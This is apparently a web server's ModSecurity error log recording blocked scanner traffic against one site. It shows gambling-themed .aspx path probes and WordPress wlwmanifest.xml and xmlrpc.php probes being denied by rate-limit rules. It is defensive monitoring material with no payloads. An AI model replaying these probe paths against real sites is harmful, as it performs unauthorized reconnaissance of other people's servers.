[Fri Feb 13 14:56:51.896878 2026] [:error] [pid 49223:tid 49244] [client 51.83.7.81:40168] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aY7LMx8A_fZBamNLnfUELgAAAAw"]
[Fri Feb 13 14:56:54.454169 2026] [:error] [pid 47080:tid 47097] [client 51.83.7.81:40182] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aY7LNkbWJwYCVF39z6va7QAAAck"]
[Fri Feb 13 14:57:16.497793 2026] [:error] [pid 49223:tid 49250] [client 51.83.7.81:40196] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aY7LTB8A_fZBamNLnfUEcgAAABI"]
[Fri Feb 13 14:57:18.946970 2026] [:error] [pid 47358:tid 47371] [client 51.83.7.81:42622] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aY7LTsQFBuVVUQTESUzWbAAAAoY"]
[Fri Feb 13 14:57:21.435016 2026] [:error] [pid 49223:tid 49247] [client 51.83.7.81:42628] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aY7LUR8A_fZBamNLnfUEsQAAAA8"]
[Fri Feb 13 14:57:24.030333 2026] [:error] [pid 49335:tid 49355] [client 51.83.7.81:35418] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aY7LVKp--SFY2nwOiqku7AAAANI"]
[Fri Feb 13 14:57:26.664762 2026] [:error] [pid 49223:tid 49252] [client 51.83.7.81:35426] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aY7LVh8A_fZBamNLnfUEzgAAABQ"]
[Fri Feb 13 14:57:29.250669 2026] [:error] [pid 49335:tid 49350] [client 51.83.7.81:35432] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aY7LWap--SFY2nwOiqku8QAAAM0"]
[Fri Feb 13 14:57:31.694277 2026] [:error] [pid 47143:tid 47223] [client 51.83.7.81:55570] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aY7LW8hV30NbMarHJLsL_wAAAkk"]
[Fri Feb 13 14:57:34.367226 2026] [:error] [pid 18097:tid 18106] [client 51.83.7.81:55586] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aY7LXnFzYiQ_BfaDDlbiYgAAAYc"]
[Fri Feb 13 14:57:36.735590 2026] [:error] [pid 47358:tid 47387] [client 51.83.7.81:55596] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aY7LYMQFBuVVUQTESUzWdwAAApU"]
[Fri Feb 13 14:57:39.191862 2026] [:error] [pid 47080:tid 47099] [client 51.83.7.81:55604] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aY7LY0bWJwYCVF39z6vbSAAAAcs"]
[Fri Feb 13 14:57:41.640077 2026] [:error] [pid 47358:tid 47388] [client 51.83.7.81:55612] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aY7LZcQFBuVVUQTESUzWfQAAApY"]
[Fri Feb 13 14:57:44.056093 2026] [:error] [pid 18097:tid 18105] [client 51.83.7.81:56804] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aY7LaHFzYiQ_BfaDDlbihQAAAYY"]
[Fri Feb 13 14:57:46.496906 2026] [:error] [pid 47080:tid 47088] [client 51.83.7.81:56820] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aY7LakbWJwYCVF39z6vbWQAAAcA"]
[Fri Feb 13 14:57:49.056686 2026] [:error] [pid 47080:tid 47101] [client 51.83.7.81:56824] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aY7LbUbWJwYCVF39z6vbYwAAAc0"]
[Fri Feb 13 14:57:51.604144 2026] [:error] [pid 47080:tid 47112] [client 51.83.7.81:56834] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aY7Lb0bWJwYCVF39z6vbZgAAAdg"]
[Fri Feb 13 14:57:54.113497 2026] [:error] [pid 49223:tid 49256] [client 51.83.7.81:46632] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aY7Lch8A_fZBamNLnfUFHgAAABg"]
[Fri Feb 13 14:57:56.641636 2026] [:error] [pid 47143:tid 47229] [client 51.83.7.81:46640] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aY7LdMhV30NbMarHJLsMIwAAAk8"]
[Fri Feb 13 14:57:59.144299 2026] [:error] [pid 49223:tid 49241] [client 51.83.7.81:46654] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aY7Ldx8A_fZBamNLnfUFIQAAAAk"]
[Fri Feb 13 14:58:01.671019 2026] [:error] [pid 47143:tid 47231] [client 51.83.7.81:46664] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aY7LechV30NbMarHJLsMJQAAAlE"]
[Fri Feb 13 14:58:04.150430 2026] [:error] [pid 49225:tid 49315] [client 51.83.7.81:44818] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aY7LfDwH8-zGxtAd3jvHuQAAAJU"]
[Fri Feb 13 14:58:06.497795 2026] [:error] [pid 51243:tid 51263] [client 51.83.7.81:44830] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aY7Lfsim7ZTAHzi7xZuVpQAAARI"]
[Fri Feb 13 14:58:08.988147 2026] [:error] [pid 47080:tid 47107] [client 51.83.7.81:44840] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aY7LgEbWJwYCVF39z6vbkAAAAdM"]
[Fri Feb 13 14:58:11.337361 2026] [:error] [pid 18097:tid 18111] [client 51.83.7.81:44842] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aY7Lg3FzYiQ_BfaDDlbilgAAAYw"]
[Fri Feb 13 14:58:13.874740 2026] [:error] [pid 49335:tid 49360] [client 51.83.7.81:57880] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aY7Lhap--SFY2nwOiqkvRAAAANc"]
[Fri Feb 13 14:58:35.020201 2026] [:error] [pid 18097:tid 18108] [client 51.83.7.81:57894] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aY7Lm3FzYiQ_BfaDDlbiuQAAAYk"]
[Fri Feb 13 14:58:37.457792 2026] [:error] [pid 46821:tid 46823] [client 51.83.7.81:51396] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aY7LnY6G1N5YSq0J0gfYxwAAAUA"]
[Fri Feb 13 14:58:39.777991 2026] [:error] [pid 47575:tid 47580] [client 51.83.7.81:51402] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aY7LnwIPBuXb07mA_mSDQgAAAsE"]
[Fri Feb 13 14:58:42.102753 2026] [:error] [pid 51243:tid 51266] [client 51.83.7.81:36548] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aY7Losim7ZTAHzi7xZuVvwAAARU"]
[Fri Feb 13 14:58:44.576485 2026] [:error] [pid 47358:tid 47390] [client 51.83.7.81:36552] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aY7LpMQFBuVVUQTESUzWlgAAApg"]
[Fri Feb 13 14:58:46.928083 2026] [:error] [pid 49335:tid 49357] [client 51.83.7.81:36568] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aY7Lpqp--SFY2nwOiqkvVwAAANQ"]
[Fri Feb 13 14:58:49.375855 2026] [:error] [pid 51243:tid 51254] [client 51.83.7.81:36578] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aY7Lqcim7ZTAHzi7xZuVwQAAAQk"]
[Fri Feb 13 14:58:51.701126 2026] [:error] [pid 47143:tid 47230] [client 51.83.7.81:41388] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aY7Lq8hV30NbMarHJLsMQQAAAlA"]
[Fri Feb 13 14:58:54.029750 2026] [:error] [pid 49335:tid 49350] [client 51.83.7.81:41394] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aY7Lrqp--SFY2nwOiqkvXwAAAM0"]
[Fri Feb 13 14:58:56.495762 2026] [:error] [pid 47080:tid 47098] [client 51.83.7.81:41410] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aY7LsEbWJwYCVF39z6vbvQAAAco"]
[Fri Feb 13 14:58:58.984607 2026] [:error] [pid 18097:tid 18113] [client 51.83.7.81:41424] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aY7LsnFzYiQ_BfaDDlbixQAAAY4"]
[Fri Feb 13 14:59:01.462148 2026] [:error] [pid 49225:tid 49317] [client 51.83.7.81:41428] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aY7LtTwH8-zGxtAd3jvH6gAAAJc"]
[Fri Feb 13 14:59:03.924780 2026] [:error] [pid 49225:tid 49315] [client 51.83.7.81:37912] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aY7LtzwH8-zGxtAd3jvH7AAAAJU"]
[Fri Feb 13 14:59:06.246867 2026] [:error] [pid 47575:tid 47590] [client 51.83.7.81:37922] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aY7LugIPBuXb07mA_mSDVQAAAso"]
[Fri Feb 13 14:59:08.572082 2026] [:error] [pid 47575:tid 47583] [client 51.83.7.81:37938] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aY7LvAIPBuXb07mA_mSDWQAAAsM"]
[Fri Feb 13 14:59:11.039981 2026] [:error] [pid 46821:tid 46828] [client 51.83.7.81:37944] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aY7Lv46G1N5YSq0J0gfY4QAAAUU"]
[Fri Feb 13 14:59:13.503522 2026] [:error] [pid 49225:tid 49313] [client 51.83.7.81:57814] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aY7LwTwH8-zGxtAd3jvH8QAAAJM"]
[Fri Feb 13 14:59:16.004127 2026] [:error] [pid 47143:tid 47218] [client 51.83.7.81:57828] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aY7LxMhV30NbMarHJLsMVAAAAkQ"]
[Fri Feb 13 14:59:18.466877 2026] [:error] [pid 51243:tid 51269] [client 51.83.7.81:57838] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aY7Lxsim7ZTAHzi7xZuV0gAAARg"]
[Fri Feb 13 14:59:20.783743 2026] [:error] [pid 47575:tid 47587] [client 51.83.7.81:57854] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aY7LyAIPBuXb07mA_mSDXgAAAsc"]
[Fri Feb 13 18:56:20.768413 2026] [:error] [pid 47575:tid 47592] [client 34.73.172.230:57118] [client 34.73.172.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.172.230, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aY8DVAIPBuXb07mA_mS7TQAAAsw"]
[Fri Feb 13 18:56:21.579864 2026] [:error] [pid 47575:tid 47586] [client 34.73.172.230:57118] [client 34.73.172.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aY8DVQIPBuXb07mA_mS7UQAAAsY"]
[Fri Feb 13 18:56:22.423592 2026] [:error] [pid 47080:tid 47112] [client 34.73.172.230:56432] [client 34.73.172.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aY8DVkbWJwYCVF39z6syCAAAAdg"]
[Fri Feb 13 18:56:23.270402 2026] [:error] [pid 47080:tid 47093] [client 34.73.172.230:50484] [client 34.73.172.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aY8DV0bWJwYCVF39z6syCgAAAcU"]
[Fri Feb 13 18:56:24.204423 2026] [:error] [pid 51243:tid 51255] [client 34.73.172.230:54760] [client 34.73.172.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aY8DWMim7ZTAHzi7xZvBWQAAAQo"]
[Fri Feb 13 18:56:25.139759 2026] [:error] [pid 47080:tid 47089] [client 34.73.172.230:57149] [client 34.73.172.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aY8DWUbWJwYCVF39z6syDQAAAcE"]
[Fri Feb 13 18:56:26.074809 2026] [:error] [pid 47575:tid 47598] [client 34.73.172.230:63077] [client 34.73.172.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2020/wp-includes/wlwmanifest.xml"] [unique_id "aY8DWgIPBuXb07mA_mS7XQAAAtE"]
[Fri Feb 13 18:56:27.006679 2026] [:error] [pid 49223:tid 49249] [client 34.73.172.230:56294] [client 34.73.172.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aY8DWx8A_fZBamNLnfVLPAAAABE"]
